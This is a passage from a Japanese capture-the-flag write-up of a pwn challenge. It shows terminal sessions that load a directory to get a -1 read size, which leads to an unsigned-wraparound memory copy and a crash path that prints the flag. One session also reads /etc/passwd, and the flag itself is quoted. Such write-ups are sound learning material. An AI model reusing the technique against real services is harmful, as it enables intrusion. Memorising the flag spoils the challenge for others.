1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /tmp
Read -1 bytes from /tmp
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 2
Enter source index: 0
Enter destination index: 1
Copied 18446744073709551615 bytes from buf #0 to buf #1
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 3

しかし18446744073709551615という巨大サイズだけメモリコピーをしているはずなのですが、なぜか成功してしまっています。試しに一方を適当なファイルにして試しましたが、やはり成功してしまっています:

$ nc localhost 8190
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /tmp
Read -1 bytes from /tmp
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /etc/passwd
Read 888 bytes from /etc/passwd
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 2
Enter source index: 0
Enter destination index: 1
Copied 888 bytes from buf #0 to buf #1
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 2
Enter source index: 1
Enter destination index: 0
Copied 888 bytes from buf #1 to buf #0
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 3

何がなんだか分からないまま、コンテストの終了時刻を迎えました……。

どうやらもう一方にある程度のサイズが必要だった模様

コンテスト終了後、Discordでの問題談義チャンネルを見ていると、ディレクトリの相手となるファイルにはある程度のサイズが必要との情報がありました。問題サーバーをまだ稼働くださっている状況で試しました:

$ nc 198.51.100.1 8190
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /tmp
Read -1 bytes from /tmp
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 1
Enter file name: /bin/sh
Read 133880 bytes from /bin/sh
1. Create new buffer and load file content
2. Copy some buffer to another
3. Exit
Enter command: 2
Enter source index: 0
Enter destination index: 1
Well done!
IERAE{7h3_f1rs7_s73p_7o_b3_4_pwn3r_51a7806b}
^C
$

フラグが手に入りました: IERAE{7h3_f1rs7_s73p_7o_b3_4_pwn3r_51a7806b}

/bin/ls138184バイトをコピーすると、セグメンテーションフォルトが発生するようです。この違いはなぜ発生するのでしょう……?

追記: IERAE CTF 2024 Writeup - kyuridenamidaのブログ で、ディレクトリ2つのコピーである-1バイトコピーではセグメンテーションフォルトが起こらない理由が解説されています。賢いパスを通った結果、影響がなかったのですね。

感想

  • 難易度easyでも難しい問題が多かったです!
  • revジャンルについてはmediumまで解けたので満足しています!
  • とはいえ、revジャンルのhardではとても面白い技法を使っている問題があったので、ぜひそちらも解けるようになりたいです。